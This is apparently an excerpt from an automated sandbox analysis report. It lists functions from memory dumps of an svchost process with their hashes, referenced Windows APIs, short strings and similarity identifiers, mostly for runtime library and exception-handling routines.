Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 33070d977eda5e55a8899d995c6e29835c19bb2840999ec65b223f65280b1878
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 82012975B12B43A2FB249B26E8583BA63E0BB49BDAF084434CD4917765EF3DC5588B00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A049005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28A049013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28A0490A8
RtlUnwindEx.NTDLL ref: 000001F28A0490F7

Strings

csm, xrefs: 000001F28A04908E
f, xrefs: 000001F28A049026

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: f6ef8958e4ff09da7609d6c292c7022f0f77416a837a98440a82bacbb7f3169b
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 0651AB32702A03AAEB54DBA5E848BA937D6F344BCCF14C134DA1667798EF75D881CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A048FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28A049013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28A0490A8
RtlUnwindEx.NTDLL ref: 000001F28A0490F7

Strings

csm, xrefs: 000001F28A04908E
f, xrefs: 000001F28A049026

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 0a306b352e9c136140c6eabb1d99a80180b650a4623cf8f7eacfd7b9668d1d4b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 9E318D31602A42A6E714DF61E8487A93BE5F344BC8F15C034EE5627799DF39C940CB04

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A041A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001F28A041A60
StrCmpNIW.SHLWAPI ref: 000001F28A041A7A
lstrlenW.KERNEL32 ref: 000001F28A041A89
StrCpyW.SHLWAPI ref: 000001F28A041A9E

Strings

\\?\, xrefs: 000001F28A041A6E

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: ca23182198d79bffcb3586fd3bb0f4fe69ea8b364f329f4be71edd0ec16f77f1
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 36F04F32704683A2FB60CB61F8947AA67A1F748BC9F888031DA4946954DF3CC68DCF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A043044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001F28A043066
StrCpyW.SHLWAPI ref: 000001F28A043076
StrCatW.SHLWAPI ref: 000001F28A043082
PathCombineW.SHLWAPI ref: 000001F28A043090

Strings

\\.\pipe\, xrefs: 000001F28A04305C

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: cb32bd6d1b32a6d1c726aa4e2a6edb57bbb75cffb63054a07ae04fa31d031993
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 6EF05874B04B87A2EB448B12F9182A966A0BB48FD0F089131EE4A17B18DE38C4858B00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001F28A04BCBD
GetProcAddress.KERNEL32 ref: 000001F28A04BCD3
FreeLibrary.KERNEL32 ref: 000001F28A04BCFA

Strings

mscoree.dll, xrefs: 000001F28A04BCB4
CorExitProcess, xrefs: 000001F28A04BCCC

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: d8780c668946ee17fc1f2d49483dc022331935b9f38912bbe84e5c43b6bad857
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: D1F09071712B07A1EB108F24E8443BA63E1FB89BE5F584639DA6A462E4DF3CC048CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A0450D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28A045156

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: fdb0b102763467463c9570359a42aafd6ac3e079c7c4036db4c5d621e31afbfc
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 6C02A932619B8696E760CB59E4903AAB7A0F3C57D8F105025EACE87B69DF7DD844CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A045710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28A045726

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 74ae79a99f340c628abc8e80b890a3081c29e169cba8cc8d5efa1f0722f726f3
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: BF61B73651AB46D6E6608B55F48036AB7E0F3887C8F105129EACD87BA9DF7CD844CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A023504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F28A02352C
_set_statfp.LIBCMT ref: 000001F28A023547
_set_statfp.LIBCMT ref: 000001F28A023563
_set_statfp.LIBCMT ref: 000001F28A02359F

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: df317223171f33c51b2129ac6b5e07f089d837312cb6bcf355b7189f993b553a
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 1F117332E14B6331FA661528E45A3F911C16B983F4F988639E96E066D6CF34C8815F02

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A054104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F28A05412C
_set_statfp.LIBCMT ref: 000001F28A054147
_set_statfp.LIBCMT ref: 000001F28A054163
_set_statfp.LIBCMT ref: 000001F28A05419F

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: b57531cd4916b95dc94ad68ba2d3ee2678e903ea359a1f37a6f17705f33d2c0c
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: E2117332E90A5331F6681568D4553F911D3BBB83F8F190634E9762F6D6DE36C8414B08

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A01F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001F28A01F124

Strings

Tuesday, xrefs: 000001F28A01F0F4
Wednesday, xrefs: 000001F28A01F1ED
or copy constructor iterator', xrefs: 000001F28A01F25A, 000001F28A01F275

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: cdad248cea001231995a9b25edf90112c8682fda75076e337906bcfa75f6f25e
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 4D61E036604243A2FA6A9B68E5443FE6AE1F7857C0F54453BDA0A077A5DFB8C841CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001F28A04AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001F28A04AAB7

Strings

RCC, xrefs: 000001F28A04AA85
MOC, xrefs: 000001F28A04AA7C

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 4890ffe1d77410b327fb2b3f54df1d16fb02e11cfbb96bfbe7908642242dc32c
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 2961483260AB869AEB209F65D4803ED77E1F348BDCF048225EE4917B99DF38C595CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A01A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28A01A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F28A01A288

Strings

csm, xrefs: 000001F28A01A2DA
csm, xrefs: 000001F28A01A1C2

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 18422d03edeb7ca2c326a9d24e45cd3f00817ee72972fb9937f1f11f0b6c828a
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 84516932108683EAEB648B6595843F977E0F355BD8F188226EA9987BD5CF38D491CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28A04ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F28A04AE88

Strings

csm, xrefs: 000001F28A04AEDA
csm, xrefs: 000001F28A04ADC2

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: d24600b219a8fcd24b4a19e418fce7e688bd0d3aa984e486b0ef61f49c403997
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: D1517E7210A683AAEB648F5695843A977E0F354BCDF14C135EA9947BD5CF38D4A0CF08

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A018405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28A018413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28A0184A8

Strings

f, xrefs: 000001F28A018426
csm, xrefs: 000001F28A01848E

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 76e72031aa41b0f40367b3f9a6e73264907eb4284befd83754da4dab664b2421
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: A5518732B01603ABEB158F25E444BF937E6F354BD8F548135EA4643788EF34DA89AB04

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A0183E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28A018413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28A0184A8

Strings

f, xrefs: 000001F28A018426
csm, xrefs: 000001F28A01848E

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 56c22439610497800de41e700b5302e2d165885c6cbf0350b453c13266eaafe8
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 86316732601742A7E725DF22E844BE977E4F344BD8F558028EE9A07788DF38DA48DB04

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A052058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001F28A0520D7
WriteFile.KERNEL32 ref: 000001F28A05239F
WriteFile.KERNEL32 ref: 000001F28A0523E5
GetLastError.KERNEL32 ref: 000001F28A05249B

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 841438fcb55f65931e452b8dc1eb2018649b99708d8cd29f6b738d349a144d96
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 73D1D032B15A82A9E711CFA9D4403EC3BF5F7587D8F148226DE59A7B99DE34C406CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A052980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001F28A052A9C
GetLastError.KERNEL32 ref: 000001F28A052B27

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 167dba6e9454c6376f8e506a90678331151af30df75b07118807e3492358aae8
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 89918072B10657A5F7649F6594903FD3BE0BB59BC8F184129DE0A77A95DF34C482CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A047960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001F28A04798C
GetCurrentThreadId.KERNEL32 ref: 000001F28A04799A
GetCurrentProcessId.KERNEL32 ref: 000001F28A0479A6
QueryPerformanceCounter.KERNEL32 ref: 000001F28A0479B6

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: a450bbf77175b817d6cd4593aedf9d259c205c8fa5fd4d63dabe11ac26be1117
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 34111C32B10B029AEF408BA4E8553B833A4F719798F481E31DA6D877A5DF78C1988780

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F28A042620
StrCpyW.SHLWAPI ref: 000001F28A042639

Strings

\\.\pipe\, xrefs: 000001F28A04262B

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 246a0ff26604aca0f3d645c1c7c48db34ae137f4b6f89deb22cfd7cc08da5b05
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 3F71C076301783A6E7249F26A8943FA67D4F789BC8F548036DE0A53B89DE35C645CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A019E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001F28A019EB7

Strings

MOC, xrefs: 000001F28A019E7C
RCC, xrefs: 000001F28A019E85

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: a84bd54e9350fdad91b7c7543f070e2a66874b9e4e75cd39ebfb54d7f32f9bf7
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 07613536A04A869AEB219FA5D4807ED7BE0F348BC8F144225EE4917B99DF38D195CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A042330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F28A042416
StrCpyW.SHLWAPI ref: 000001F28A04242D

Strings

\\.\pipe\, xrefs: 000001F28A042421

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 51f29f102ecf0d146412de3dfcee2242f7aa5bea50bff70769271f5893af85f2
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 5B51C232B0A783A1E7749E2AA4583FA67D1F3C97C8F458135DE5913B99DE39C5048F40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A0526F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001F28A052807
GetLastError.KERNEL32 ref: 000001F28A052829

Strings

U, xrefs: 000001F28A0527B3

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 426f41aa836bfae1ed1664f4a15fb10fe9a4815b7cfd17c9f3271890bbfb661e
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: DA418D72615A86A6EB20CF65E8443EAA7A0F798BD4F844031EE4D97798EF78C541CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A0494A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001F28A0494F0
RaiseException.KERNEL32 ref: 000001F28A049531

Strings

csm, xrefs: 000001F28A04951E

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 4b779e5d1a7d644d6dac582aabadd4d990cfb6dc1e98563a42b3bbc3ae535da1
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 8D112832615B8292EB618B15E4403A9B7E5FB88BD8F588230EE8D57B68DF3CC551CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A017356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F28A01737C

Strings

ierarchy Descriptor', xrefs: 000001F28A017381
riptor at (, xrefs: 000001F28A017364

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 3091a8685abe863928ac577edc42fed7ebcbf3dab3e256063506bc1c2e444290
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: AAE0BF61651B46A1DB028F61E8903E873E59B58BA4B989122D95C46355FA38D2E9C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A0173B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F28A0173D8

Strings

riptor at (, xrefs: 000001F28A0173C0
Locator', xrefs: 000001F28A0173DD

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 45d238433ee5c2f3afc8585d143d3ab9ad63487d04556999d398ab5661241f88
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: ABE08671640B46A1DF028F21D4803F873E0E758BA4F889132CD4C46311EE3CD1E9C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A041BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28A041C2D
HeapAlloc.KERNEL32 ref: 000001F28A041C3B
GetProcessHeap.KERNEL32 ref: 000001F28A041C77
HeapFree.KERNEL32 ref: 000001F28A041C85

Part of subcall function 000001F28A04152C: StrCmpIW.SHLWAPI ref: 000001F28A04155D

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

